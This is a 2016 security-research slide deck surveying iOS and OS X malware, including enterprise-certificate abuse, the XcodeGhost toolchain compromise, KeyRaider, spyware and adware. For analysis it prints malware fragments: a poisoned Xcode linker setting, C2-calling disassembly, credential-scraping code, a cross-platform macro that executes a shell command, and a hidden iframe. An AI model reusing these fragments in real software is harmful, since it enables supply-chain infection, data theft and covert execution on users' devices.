



# Who's Breaking into Your Garden

## *iOS and OS X Malware You May or May Not Know*

Claud Xiao

2016.02

# About me

- [@claud\\_xiao](#)
- Researcher at Palo Alto Networks
- 6 years in antivirus industry
  - Windows -> Android -> OSX, iOS

# Does iOS malware actually exist?

There actually has been some iOS malware, but it's shockingly rare.

## CAN MACS GET VIRUSES AND MALWARE? WE ASK AN EXPERT

**Is there a possibility that a virus can infect an iPhone/iPad, or Mac (not jailbroken)?**

[Write Answer](#)

[Re-Awake](#)



Follow

5

Comment Share Downvote

...

Have this question too? Re-Awake to get an answer.


**14 Answers**



There are known and documented viruses affecting the Mac.


iOS does a fairly good job of keeping programs isolated from each other which can prevent viruses being able to spread. This does not mean a virus is impossible, but there are none documented.

# New Families by Year - iOS




- “Other” includes PUP and Scareware
- Trojan includes Backdoor

# New Families by Year - OSX



- “Other” includes PUP, Scareware, Worm, Rootkit, and Ransomware
- Trojan includes Backdoor
- 12 more Spyware, HackTool and PUP’s first appearances are not clear.


# Outline



A screenshot from Final Fantasy VII Remake showing a character in mid-air, performing a dynamic move. The character has spiky blonde hair and is wearing a white, flowing garment with gold and green accents. A glowing blue energy sphere is visible at the bottom of the frame, suggesting a recent impact or attack.

# Ep. 1 Threats in Walled Garden

# App Store Distribution



# Enterprise In-house Distribution



## Distribute iOS Apps

Distribute proprietary, in-house iOS apps within your organization. Securely host and deploy apps to your employees' iOS devices.

- NO more submission, code reviewing, publishing to App Store
- Directly signed by the developer himself
- No (technical) restriction on which device could install them


# Enterprise Developer Account

- Applied from Apple: \$299 / year + D-U-N-S number + documents
- Or, bought from underground markets (hence violated license)
  - \$3 to sign an app (SaaS :P)
  - \$800 to own an account



# Abuse Enterprise Certificate

- Apps blocked by Apple code review
  - Game emulators
  - Jailbreaking tools' first stage iOS apps
- Pirated apps
  - 3<sup>rd</sup> party pirated app store, e.g., VShare
- Trojan/Adware
  - WireLurker
  - Oneclickfraud
  - YiSpecter
  - TracerPlus
  - TinyV



# Free Personal Certificate

- Previously \$100 / yr
- Free since Xcode 7 in Jun 2015
- Run app in your own devices
- Abusing problem
  - ZergHelper

The screenshot shows the Xcode developer portal interface. At the top, it displays the user's name, Claud Xiao, and their email address, @gmail.com. Below this, there are two main sections: "Signing Identities" and "Provisioning Profiles".

**Signing Identities:**

	Action
iOS Development	Reset
iOS Distribution	Create
Mac Development	Reset
Mac App Distribution	Create
Mac Installer Distribution	Create
Developer ID Application	Create
Developer ID Installer	Create

**Provisioning Profiles:**

	Expires	Action
None		

At the bottom of the interface are two buttons: "Download All" and "Done".

# “Masque” Vulnerabilities

- Enterprise signed apps -> collision in bundle ID of app (no CVE), VPN plugin (CVE-2014-4493), itms-service manifest (CVE-2015-3722), or extension (CVE-?)
  - Apple has fixed, and has added more mechanisms.
- Has been used in the wild (along with Hacking Team leaked resources)

```
→ ls embedded.mobileprovision
embedded.mobileprovision
→ plutil -p Info.plist | grep Identifier
  "CFBundleIdentifier" => "com.facebook.Messenger"
→ otool -L Messenger | grep executable_path
  @executable_path/_PkgSign (compatibility version 0.0.0, current vers
→ strings - _PkgSign | grep '\-\[\.*Invocation' | cut -d' ' -f1 | sort | uniq
-[BBMChatInvocation
-[FileUploadInvocation
-[ICQInvocation
-[InstagramImageInvocation
-[LineChatInvocation
-[PostCallRecordDataInvocation
-[PostCallRecordingInvocation
-[PostProfileImageInvocation
-[SettingDetailInvocation
-[TangoChatInvocation
-[TelegramMessageInvocation
-[TriviaCrackInvocation
-[TwitterMessageInvocation
-[VKMessageInvocation
-[WeChatInvocation
```

# Private APIs

- Not documented in SDK, sometimes privileged
- Some privileged APIs are not restricted well by sandbox
  - security rely on manually code review
- E.g.,
  - SpringBoardServices.framework
    - SBSSpringBoardServerPort
    - SBSCopyApplicationDisplayIdentifiers
  - MobileInstallation.framework
    - MobileInstallationInstall
    - MobileInstallationUninstall
  - MobileCoreServices.framework
    - allApplications
  - coreTelephony.framework
    - CTTelephonyCenterAddObserver
    - CTCallCopyAddress
    - CTCallDisconnect

# Case: YiSpecter

- Spreading
  - Internet traffic hijacking based advertisement
  - SNS worm Lingdun
  - App promotion
  - Porn content attraction
- Signed by enterprise certs
- Abuse private APIs to
  - Install hidden apps (modules)
  - Collect user privacy
  - Promote more apps
  - Replace existing apps
  - Hijack existing apps' execution
  - Change browser configuration (in jailbroken devices)

```
<key>ExpirationDate</key>
<date>2016-03-23T03:50:52Z</date>
<key>Name</key>
<string>NoIcon</string>
<key>ProvisionsAllDevices</key>
<true/>
<key>TeamIdentifier</key>
<array>
    <string>VN36KFTLTA</string>
</array>
<key>TeamName</key>
<string>Beijing Yingmob Interaction Technology co, .ltd</string>
<key>TimeToLive</key>
<integer>365</integer>
<key>UUID</key>
<string>7e5ca063-865c-4834-b062-c32218a0600a</string>
```

# Ep. 2

# Trojan Store



# XcodeGhost: Impact

- Infected 7 versions of Xcode installers  
  
WeChat
- Existed in more than 6 months  
  
DIDI Taxi
- Affected more than 4,000 apps in App Store (which have hundreds of millions installation in total)  
  
58 Classified - Job, Used Cars, Rent
- Affected users all around the world (but mainly in China)
- Apple's Top 25 affected app list  
  
Customer Service (Official Version)\*
- CarrotFantasy 2: Daily Battle\*  
  
Miraculous Warmth
- Call Me MT 2 - Multi-server version  
  
Gaode Map - Driving and Public Transportation
- Railroad 12306  
  
Angry Bird 2 - Yifeng Li's Favorite\*
- Baidu Music - A Music Player that has Downloads, Ringtones, Music Videos, Radio, and Karaoke  
  
DuoDuo Ringtone
- NetEase Music - An Essential for Radio and Song Download  
  
Foreign Harbor - The Hottest Platform for Oversea Shopping\*

- Details: <http://researchcenter.paloaltonetworks.com/tag/xcodeghost/>



# Origin Idea of Compiler Backdoor



## Reflections on Trusting Trust

*To what extent should one trust a statement that a program is free of Trojan horses? Perhaps it is more important to trust the people who wrote the software.*

ular pattern is matched. If this were not deliberate, it would be called a compiler “bug.” Since it is deliberate, it should be called a “Trojan horse.”

The actual bug I planted in the compiler would match code in the UNIX “login” command. The replacement code would miscompile the login command so that it would accept either the intended encrypted password or a particular known password. Thus if this code were installed in binary and the binary were used to compile the login command, I could log into that system as any user.

# XcodeGhost: Single Line Implementation

```
→ diff Xcode/Xcode.app/Contents/PlugIns/Xcode3Core.ideplugin/Contents/SharedSupport/Developer/Library/Xcode/Plug-ins/CoreBuildTasks.xcplugin/Contents/Resources/Ld.xcspec Xcode\ 1/Xcode.app/Contents/PlugIns/Xcode3Core.ideplugin/Contents/SharedSupport/Developer/Library/Xcode/Plug-ins/CoreBuildTasks.xcplugin/Contents/Resources/Ld.xcspec
270c270
<          DefaultValue = "$(LD_FLAGS) $(SECTORDER_FLAGS) $(OTHER_LDFLAGS) $(OTHER_LDFLAGS_$($variant)) $(OTHER_LDFLAGS_${arch}) $(OTHER_LDFLAGS_${variant}_${arch}) $(PRODUCT_SPECIFIC_LDFLAGS)
-force_load $(PLATFORM_DEVELOPER_SDK_DIR)/Library/Frameworks/CoreServices.framework/CoreServices";
---
>          DefaultValue = "$(LD_FLAGS) $(SECTORDER_FLAGS) $(OTHER_LDFLAGS) $(OTHER_LDFLAGS_$($variant)) $(OTHER_LDFLAGS_${arch}) $(OTHER_LDFLAGS_${variant}_${arch}) $(PRODUCT_SPECIFIC_LDFLAGS)";
```

# XcodeGhost: Spreading

- Infected Xcode installer for public downloading
  - Apple's global CDN failure
  - Habit of sharing big files via cloud storage services
  - Developer forum advertisements and SEO
  - Developers disabled the Gatekeeper
  - (potentially) a cache poisoning vulnerability in a popular P2P+Cloud downloading tool

The screenshot shows a Google search result for "xcode%20E4%B8%8B%E8%BD%BD". The top result is a link to a Baidu Cloud download page for Xcode 7 and 6.4. Below it are links to PC6, Douban, and another Baidu Cloud page for Xcode 6.4.

<https://www.google.com/webhp?sourceid=chrome-instant&ion=1&espv=2&ie=UTF-8#q=xcode%20E4%B8%8B%E8%BD%BD>

**Xcode7 系列, Xcode6 全系列百度网盘地址, 包括Xcode 7 ...**  
www.swiftmi.com/topic/259.html ▾ Translate this page  
Xcode7 系列, Xcode6 全系列百度网盘地址, 包括Xcode 7 以及Xcode 6.4等. 由coderfun 在6个月前发布2617 ... Xcode6系列下载: http://pan.baidu.com/s/1pJqjIMB ...

**Xcode 7 Mac版 - pc6下载站**  
www.pc6.com/mac/111172.html ▾ Translate this page  
Update: 2014.7.22苹果公司公布Mac OS 10.10DP4以及IOS 8Beta 4和Xcode 6 Beta4测试版。目前PC6苹果网已经可以下载xcode 6 beta3。开发者们请直接在开发 ...

**Xcode 最全网盘下载地址Xcode 7 | Xcode 6.2 |Xco... - 豆瓣**  
www.douban.com/group/topic/73154481/ ▾ Translate this page Douban ▾  
Mar 14, 2015 - Xcode 最全网盘下载地址Xcode 7 | Xcode 6.2 |Xco... 苦苦鱼 ... Xcode 6.3.2: http://pan.baidu.com/s/1gds4rdT. Xcode 6.3.1:http://pan.baidu.com/s/ ...

**Xcode 6.4百度网盘极速下载 - 豆瓣**  
www.douban.com/group/topic/74716793/ ▾ Translate this page Douban ▾  
Apr 28, 2015 - Xcode 6.4伴随着IOS 8.4 和OS X 10.10.4 一同发布, 可以支持对上述两个版本的开发调试。Xcode 7 beta: http://pan.baidu.com/s/1c0lkj0s. Xcode ...

# XcodeGhost: Discovering

- Attack began at Mar 13, 2015, been publicly aware at ~Sep 16, 2015
- Earlier, in the beginning of Sep:
  - Story 1: Infected a super popular app -> C2 server downed by “DDoS” -> C2 connection time out -> slowed the app’s launch -> developers profiled performance issue
  - Story 2: Some developers found abnormal traffic from iOS Simulator captured by Little Snitch
- More earlier, in Aug 10, when I was analyzing iOS.KeyRaider

```
MOV      #(paUrlwithstring - 0x1D66)
ADD      R0, PC ; paUrlwithstring
LDR      R1, [R0] ; "URLWithString:"
MOV      R0, #(off_1B224 - 0x1D72)
ADD      R0, PC ; off_1B224
LDR      R0, [R0] ; _OBJC_CLASS_$_NSURL
MOV      R2, #(cfstr_Httpinit_iclou - 0x1D7E) ; "http://init.icloud-analysis.com"
ADD      R2, PC ; "http://init.icloud-analysis.com"
        _objc_msgSend
BLX      R7, R7
        _objc_retainAutoreleasedReturnValue
MOV      R8, R0
MOV      R0, #(paRequestwithurl - 0x1D96)
MOVS    R3, #0
ADD      R0, PC ; paRequestwithurl
MOVT.W R3, #0x403E
MOVS    R2, #0
LDR      R1, [R0] ; "requestWithURL:cachePolicy:timeoutInter"...
MOV      R0, #(off_1B228 - 0x1DA8)
```

- Sample shared to public in Sep 1 (3838A37A9BC7DF750FB16D12E32A2FCB)
- Why I missed it? (explained in last section)

# XcodeGhost: Vulnerability

- HTTP for C2
- Payload encrypted by DES, fixed key “stringWi”
- Hijacking!
- What can we do by “openURL”?

```
- (void)Show:(NSString*)url  scheme:(NSString*)scheme{
    if ([UIApplication sharedApplication].applicationState!=UIApplicationStateActive)
        return;
    [[UIApplication sharedApplication] openURL:[NSURL URLWithString:url]];
}
```

# XcodeGhost: May not the End

- KeyRaider, TinyV, and ZergHelper were also infected by XcodeGhost

<b>Ad-Aware</b>	Gen:Variant.Trojan.MAC.OSX.XcodeGhost.1	<b>GData</b>	Gen:Variant.Trojan.MAC.OSX.XcodeGhost.1
<b>Arcabit</b>	Trojan.Trojan.MAC.OSX.XcodeGhost.1	<b>Ikarus</b>	Trojan.iOS.Xcodeghost
<b>Avast</b>	MacOS:XcodeGhost-F [Tr]	<b>Kaspersky</b>	HEUR:Trojan-Downloader.IphoneOS.Tiniv.a
<b>AVG</b>	IOS/XGhost.B	<b>McAfee-GW-Edition</b>	Artemis
<b>Avira</b>	MACOS/XcodeGhost.B.2	<b>Microsoft</b>	TrojanSpy:iOS/XcodeGhost.A
<b>BitDefender</b>	Gen:Variant.Trojan.MAC.OSX.XcodeGhost.1	<b>MicroWorld-eScan</b>	Gen:Variant.Trojan.MAC.OSX.XcodeGhost.1
<b>CAT-QuickHeal</b>	Trojan.OSX.XCodeGhost.A	<b>NANO-Antivirus</b>	Trojan.Mac.Generic.dzgqfc
<b>DrWeb</b>	iPhoneOS.Trojan.XcodeGhost.1	<b>Rising</b>	CLASS:Spyware.XCodeGhost!1.A161 [F]
<b>Emsisoft</b>	Gen:Variant.Trojan.MAC.OSX.XcodeGhost.1 (B)	<b>Sophos</b>	iPh/XcdGhost-F
<b>ESET-NOD32</b>	a variant of iOS/XcodeGhost.B	<b>Symantec</b>	OSX.Trojan.Gen
<b>F-Secure</b>	Gen:Variant.Trojan.MAC.OSX.XcodeGhost.1		

- Locally modifying Xcode? *Doable, pretty possible.*
- Similar attack to Android SDK? *Doable*
- Modifying 3<sup>rd</sup> party SDKs? *Happened.*
  - XcodeGhost had infected Unity3D installers too.

# Will You Trust 3<sup>rd</sup> Party SDKs ?

- Some SDKs (especially adlibs) are only available in binary form
- Linked into apps
- Shared apps' context
  - Same process
  - Same privileges
  - Same data storage !
- Not transparent to developers, not distinguishable to users

# Evil SDKs in the Wild

SDK	Time	Behaviors	Techniques	Affections
Juhe	Oct 2014	Collecting whole contacts information, IMEI, model, locations, etc.	None	>= 2
Youmi	Oct 2015	Collecting app list, serial number, Apple ID email	Private APIs + encryption	> 1,000
AdSage	Nov 2015	Remotely control, multiple sensitive functionalities	Private APIs + JavaScript	> 2,800

# Private API issue on App Store

iOS and implemented a prototype of iRiS on top of it. We evaluated iRiS with 2019 applications from the official App Store. From these, iRiS identified 146 (7%) applications that use a total number of 150 different private APIs, including 25 security-critical APIs that access sensitive user information, such as device serial number. By analyzing iOS applications using iRiS, we also identified a suspicious advertisement service provider which collects user privacy information in its advertisement serving library. Our results

Source: Zhui Deng et al. *iRiS: Vetting Private API Abuse in iOS Applications*. CCS'15

# Apps Targeting Specific Data

- FakeTor
- InstaAgent

## Top Free iPhone Apps

Paid      Free      Top Grossing



1. Who Viewed  
Your Profile -...  
Social Networking  
[+ Get](#) [▼](#)  
In-App Purchases



2. Acapella from  
PicPlayPost  
Music  
[+ Get](#) [▼](#)



3. WhatsApp  
Messenger  
Social Networking  
[Get](#) [▼](#)



4. Messenger  
Social Networking  
[+ Get](#) [▼](#)




5. Facebook  
Social Networking  
[+ Get](#) [▼](#)



6. Instagram  
Photo & Video  
[Get](#) [▼](#)

# Apps Evading Code Review

- ZergHelper
  - Different behaviors for different countries
  - Dynamic updating via Lua
- Discovered by simple static rules



```
objc_msgSend(
    v38,
    "appleGetServerAuthenticateWith:xml:signature:",
    CFSTR("https://p55-buy.itunes.apple.com/WebObjects/MZFinance.woa/wa/authenticate"),
    v37,
    v43);
```

```
objc_msgSend(
    &OBJC_CLASS__NSString,
    "stringWithFormat:",
    CFSTR("itms-services://?action=download-manifest&url=https://down.xyzs.com/io/%@.plist"),
    v24);
```



Ep. 3  
You Are Targeted

# Recent Cases

Family	Platform	Discovered Date	Targets	Comment
Careto	OSX	2014.02	31 countries	
IOSInfector	OSX	2014.06		HackingTeam
XSLCmd	OSX	2014.09		“GREF”
Clientsnow	OSX	2014	Tibetan and Uyghur communities	
Xsser	iOS	2014.09	Hong Kong	
CloudAtlas	iOS	2014.12	Russia	
XAgent/ PawnStorm	iOS, OSX	2015.02		APT28
OceanLotus	OSX	2015.05	China	

# Spreading Methods

- Email phishing
- WhatsApp message (?)
- USB installation (with physical touch)
- Watering hole

# More Spyware in Planning

 **Giuseppe Macchiarella** <giuseppe.macchiarella1994@gmail.com> 30 Jun (10 days ago) ☆  
to me ▾

Hi  
thanks for your time!

Do you know iOS System?....i read that you are iOS developer ;)  
Last week my new client, Police Department Rome, call me for propose for new project.

The project consist of: create a system for inject in iOS with iPhone in DFU (or with Passcode) an app. For signed app (certificate ad-hoc) will Be problem for Police, this isn't my problem ;)

This app must capture and send, to server ftp, the equal contect in icloud backup.

This System must be hide at the eyes.....

Of course this project they will pay the money, i think you because your cv is fantastic.  
I hope that this propose will be hide ;)

Best Regards

...

---

 **Giuseppe Macchiarella** 30 Jun (10 days ago) ☆  
to me ▾

Hi,  
i understand

can you build app that recording mic only when the ios device is stand-by ? (black monitor) .....

Thx

...

Image from <http://imgur.com/z3MM3hC>

# More Commercial Spyware in the Wild

best ios spyware

All News Videos Images Shopping More ▾ Search tools

About 2,800,000 results (0.40 seconds)

**Powerful Spyware Filter - Barracuda.com**  
Ad [www.barracuda.com/](http://www.barracuda.com/) ▾  
Filter URLs by Domain or Category. Easy to Deploy - No Per User Fees.

**Best Phone Spy Reviews: Best Phone Spy – Top 5 Cell ...**  
[www.bestphonespy.com/](http://www.bestphonespy.com/) ▾  
To help you choose the **best phone spy app** for your needs, I have put together a list of the **best mobile phone spy** tools available on the Internet. Take a look at ...  
[Highster Mobile Review - FlexiSPY Review - How to Install Cell Phone Spy ...](#)

**20 Best iPhone Spy Apps - Hongkiat**  
[www.hongkiat.com/blog/iphone-spy-apps/](http://www.hongkiat.com/blog/iphone-spy-apps/) ▾  
Granted, having all of these apps on your iPhone will not make you a **spy** ... Of course this won't give you the **best** results if the person's name is 'John Doe'.



**iPhone Spy App - The only undetectable Spy App for iPhone**  
[spyera.com/iphone-spy-app/](http://spyera.com/iphone-spy-app/) ▾  
iPhone Spy App is completely undetectable! ... SPYERA is the **best** and award winning cell phone **spy app** on the market with the affordable prices. We have 3 ...

**10 Best iPhone Spy Apps in 2015 > TopTrackingApps.com**

TOP 2015 Cell Phone Spy Software Apps								
Rank	Software	Score	Review	OS Support	Money Back	24h Support	Price	Description
1	mSpy	★★★★★	<a href="#">Review</a>	Android (all), iOS (no jailbreak required), Mac OS, Windows	10 days	✓	\$29.99	mSpy is one of the outstanding smart phones monitoring software available now in the market of Spyware Applications. It carries the most adv...
2	Highster Mobile	★★★★★	<a href="#">Review</a>	Android, iPhone/iPad/iPod (iOS)	✗	✗	\$69.99	The phone type selection is somewhat limited compared to competitors, and certain models are not supported on certain phone carriers also.
3	Flexispy	★★★★★	<a href="#">Review</a>	Symbian, Android, iPhone, BlackBerry	10 days	✗	\$149.00	The first one is the fully fledged and featured product that supports a vast array of functions, including the ability to read emails, SMS me...
4	Spyera	★★★★★	<a href="#">Review</a>	Symbian, Android, Apple, BlackBerry	✗	✗	\$149.00	Spyera will automatically send you an SMS message when it detects that the target phone is calling with one of those specified numbers...
5	iSpyoo	★★★★★	<a href="#">Review</a>	Android, iOS	✗	✗	\$22.99	iSpyoo is able to give you all basic information regarding your target phone, such as call log or GPS location, however it lacks added features, which makes it a bad choice for complex tracking.
6	WebWatcher	★★★★★	<a href="#">Review</a>	Android, iPhone, BlackBerry, Windows Mobile	✗	✗	\$16.99	This application is claimed to be a good solution to address your need to monitor your family members or employees. WebWatcher was founded...
7	PhoneSheriff	★★★★★	<a href="#">Review</a>	Android (Tablets and Phones), iPhone	✗	✗	\$49.00	PhoneSheriff is a fairly good mobile tracker that certainly deserves your attention, especially if you are looking for a parental control...
8	SpyBubble	★★★★★	<a href="#">Review</a>	Symbian, Android, iOS, BlackBerry, Windows Mobile	✗	✗	\$49.95	The good thing about this product is that it supports almost all Internet-enabled phones, including a device such as the iPad. There are con...



# Wait... non-jailbroken?



**Note:** iCloud credentials are required for monitoring iOS device without jailbreak.

Monitor iPhone use without jailbreaking  
Ensure security and efficiency

- ✓ WhatsApp, SMS, Skype, call logs & 8 more features
- ✓ Compatible also with iOS, Windows and Mac OS
- ✓ Easily accessible from any browser




Ep. 4  
Across Platforms We Can  
Reach Every Cover in the World

# Install Apps from Trusted PC/Mac

- Another “trusting trust” dilemma
- Paring and authentication
- The “Mactans” attack in BHUS1:



- Silently installation
- No need jailbreaking
- WireLurker




# BackStab

- By default, iOS device data will be **automatically, unencrypted** backed-up to Windows or Mac in **fixed position**
  - Fixed in iOS 9.1
- Game over: read it, parse it, and steal it

Type	Platform	Family Name	Alias	Targets	Backstab Samples	Backstab Occurred Time	VirusTotal Detected
Adware	Windows	RelevantKnowledge	Graftor, OpinionSpy	iOS, BlackBerry	47	2010.06	Yes
HackTool	Windows	Xtractr	iPhoneSpyStick	iOS	1	2010.08	No
Adware	Windows	InstallIQ	DomalQ	iOS	580	2013.02	Yes
HackTool	Windows	USBStler		iOS	2	2015.02	No
Adware	Mac OS X	InstallCore	InstallMiez, InstallImitator, IronCore	iOS	73	2015.02	Yes
Trojan	Windows	DarkComet	DarkKomet	iOS	1	2015.07	Yes

# YiSpecter: another kind of crossing platform



# A Macro Malware

- “New Microsoft Word Document (2).docm”
- 1/56 detections in VirusTotal so far

```
Function winshell() As Object
    On Error GoTo ErrorHandler
    Err.Clear

        ' get / execute powershell command from doc property
        Dim ps As String
        ps = ActiveDocument.BuiltInDocumentProperties("Author").Value
        Dim Obj As Object
        Set Obj = CreateObject("WScript.Shell")
        Obj.Run ps, 0

        ' winshell failed, try macshell
ErrorHandler:
    macshell

Application.DisplayAlerts = False
End Function

Function macshell()
    On Error Resume Next
    Err.Clear

        scriptToRun = "do shell script """python -c 'import urllib2,socket,subprocess,os; res = MacScript(scriptToRun)"""
        res = MacScript(scriptToRun)
End Function
```

# Windows Malware in App Store (Whhhat?)

- Worm.Win32.CB.VB in the “Instaquotes-Quotes Cards For Instagram” by \$1 (July 2012)

File Name	Compressed File	Status
Instaquotes 1.0.ipa	Payload/Instaquotes.app/FBDIALOG.bundle/FBDIALOG.bundle.exe	Deleted
Instaquotes 1.0.ipa	Payload/Instaquotes.app/FBDIALOG.bundle/images/images.exe	Deleted

- Trojan.JS.iframe.BKD in “Simply Find It” by \$2 (May 2013)

Pains19970

<iframe src="http://x.asom.cn" height=0 width=0></iframe>


TAGKiss the RainBillie MyersGrowing, Pains19970



# Ep. 5



## Hunting for Ads and IDs

# When I was preparing this slides



# Most Popular OS X Adware in 2015

- Vsearch
- InstallCore
- XLoader
- Genieo
- Bundlore
- Macinst
- Spigot




# Anti-RE Techniques in Adware

- Packer, obfuscator
  - UPX
  - Mpress
  - LLVM
  - Customized
- JavaScript or other scripts
- Encryption
- Anti-VM
- Anti-debugging

```
else :
    if 6 - 6: oo0o0oo / i11iIiiIii + iIII111i * o00o
    I1I11I1I1I = 0oo0000 ( os . path . join ( iIiiI1 , "Extensions.plist" ) )
    if 80 - 80: II111iiii
    IIiII = o0o0oo0o0o0 ( filepath )
    if not IIiII :
        return False
    if 83 - 83: I11i . i11iIiiIii + II111iiii . o0o0oo0000oo * I11i
    ooo00 = False
    for iIiIiiIIII in I1I11I1I1I [ "Installed Extensions" ] :
        if iIiIiiIIII [ "Bundle Directory Name" ] = IIiII [ 'directory' ] :
            ooo00 = True
            iIiIiiIIII [ "Enabled" ] = True
            break
        if 98 - 98: o0o0oo0000oo
    if not ooo00 :
        I1I11I1I1I [ "Installed Extensions" ] . append ( {
        "Added Non-Default Toolbar Items" : [ ] ,
        "Archive File Name" : IIiII [ 'filename' ] ,
        "Bundle Directory Name" : IIiII [ 'directory' ] ,
        "Enabled" : True ,
        "Hidden Bars" : [ ] ,
        "Removed Default Toolbar Items" : [ ]
        } )
    if 51 - 51: 0o00oo - o00o + II111iiii * I11i . I11i + o00o
    0o00o ( I1I11I1I1I , os . path . join ( iIiiI1 , "Extensions.plist" ) , "a
```

# Ads Revenue

- AdThief
  - Replace 15 adlib's publisher ID
  - 75,000 devices, 22,000 daily activates, 22M total activates
- AppsBg
  - “Lock Saver Free” in ModMyi repo



AderMob	<a href="http://adermob.renren.com/">http://adermob.renren.com/</a>	China
AdMob and Google Mobile Ads	<a href="http://www.admob.com/">http://www.admob.com/</a>	USA
AdsMogo	<a href="http://www.adsmogo.com/en">http://www.adsmogo.com/en</a>	China
AdSage/MobiSage	<a href="http://www.adsage.com/mobiSage">http://www.adsage.com/mobiSage</a>	China
AdWhirl	<a href="http://www.adwhirl.com">http://www.adwhirl.com</a>	USA
Domob	<a href="http://domob.cn">http://domob.cn</a>	China
GuoHeAD	<a href="http://www.guohead.com">http://www.guohead.com</a>	China
InMobi	<a href="http://www.inmobi.com">http://www.inmobi.com</a>	India
Komli Mobile	<a href="http://www.komlimobile.com/index">http://www.komlimobile.com/index</a>	India
MdotM	<a href="http://www.mdotm.com">http://www.mdotm.com</a>	USA
MobClick	<a href="http://www.mobclix.com">http://www.mobclix.com</a>	USA
UMeng	<a href="http://www.umeng.com">http://www.umeng.com</a>	China
Vpon	<a href="http://vpon.com">http://vpon.com</a>	China
Weibo	<a href="http://us.weibo.com">http://us.weibo.com</a>	China
YouMi	<a href="http://www.youmi.net">http://www.youmi.net</a>	China

Table 1: Hijacked advertisements in iOS/AdThief.


Source: A. Apvrille. Inside the iOS/AdThief Malware

# Possible Way that XcodeGhost Made Profit

```
+ (NSData*)AppleIncReserved:(NSString*)tag{
    NSString *bundleID=[[NSBundle mainBundle] bundleIdentifier];
    NSString *app=[[NSBundle mainBundle] infoDictionary] objectForKey:@"CFBundleName"];
    NSString *timeStamp=[self Timestamp];
    NSString *osversion=[self OSVersion];
    NSString *devicetype=[self DeviceType];
    NSString *language=[self Language];
    NSString *name=[[UIDevice currentDevice] name];
    NSString *countryCode=[self CountryCode];
    NSString *idfv=[[UIDevice currentDevice] identifierForVendor] UUIDString];
    NSString *version = [[[NSBundle mainBundle] infoDictionary] objectForKey:@"CFBundleVersion"];
    NSDictionary *dict=[NSDictionary dictionaryWithObjectsAndKeys:timeStamp,@"timestamp",app,@"api
        osversion,@"os",devicetype,@"type",tag,@"status",version,@"version",language,@"language",error,@"error"];
    NSError *error;
    NSData *jsonData = [NSJSONSerialization dataWithJSONObject:dict
                                                       options:NSJSONWritingPrettyPrinted
                                                         error:&error];
    return jsonData;
}
```



# Apple ID “Eco-system”



# Steal Apple Accounts

- Unflood
- AppBuyer
  - Sharing stolen Apple IDs
- KeyRaider
  - 225,000 Apple IDs in 18 countries
  - 92 samples


```
NSLog(CFSTR("name: %s"));
v60 = 33;
std::__1::basic_string<char, std::__1::char_traits<char>,
v60 = 34;
std::__1::basic_string<char, std::__1::char_traits<char>,
&v34,
"<key>password</key>\n\t<string>(*)</string>",
41);
v60 = 35;
findRegex(&v36, &v35, &v34);
v60 = 36;
std::__1::basic_string<char, std::__1::char_traits<char>,
v60 = 37;
std::__1::basic_string<char, std::__1::char_traits<char>,
v60 = 38;
NSLog(CFSTR("password: %s"));
v60 = 39;
std::__1::basic_string<char, std::__1::char_traits<char>,
v60 = 40;
std::__1::basic_string<char, std::__1::char_traits<char>,
&v31,
"<key>guid</key>\n\t<string>(*)</string>",
37);
v60 = 41;
findRegex(&v33, &v32, &v31);
```

# Conclusion

# Takeaway

- 27 (OSX) and 21 (iOS) **new families** were discovered in last 2 years
- Practical (and low-tech) ways to infect **non-jailbroken** iDevices
  - development certificates
  - private APIs
  - code review bypassing
  - toolchain, SDKs
- **Targeted attacks** have aimed OSX and iOS. Commercial Spyware and key loggers are available in public.
- OSX/iOS malware problems are **not just limited** on OSX/iOS
- Ads, app promotion, stolen accounts have made **huge profit** hence will still be trends in future.

One more thing...



# Acknowledgements

- CDSQ, i\_82 from WeipTech Team
- Zhaofeng Chen from Baidu X Labs
- Ryan, Chad, Richard and many cool guys from Palo Alto Networks
- Subtitle cover images are from the [WoWWiki](#)
  - [Eldreth Spirit](#) for the YiSpecter
  - [Black Knight Ghost](#) for the XcodeGhost
  - [Outfits Soulreaper](#) for the CoolReaper
  - [Faceless Lurker](#) for the WireLurker
  - [Raider Bork](#) for the KeyRaider

END

Thank you!

- Twitter: [@claud\\_xiao](https://twitter.com/@claud_xiao)
- Email: [iClaudXiao@gmail.com](mailto:iClaudXiao@gmail.com)
- More interesting and related stories: <http://researchcenter.paloaltonetworks.com/author/claud-xiao/>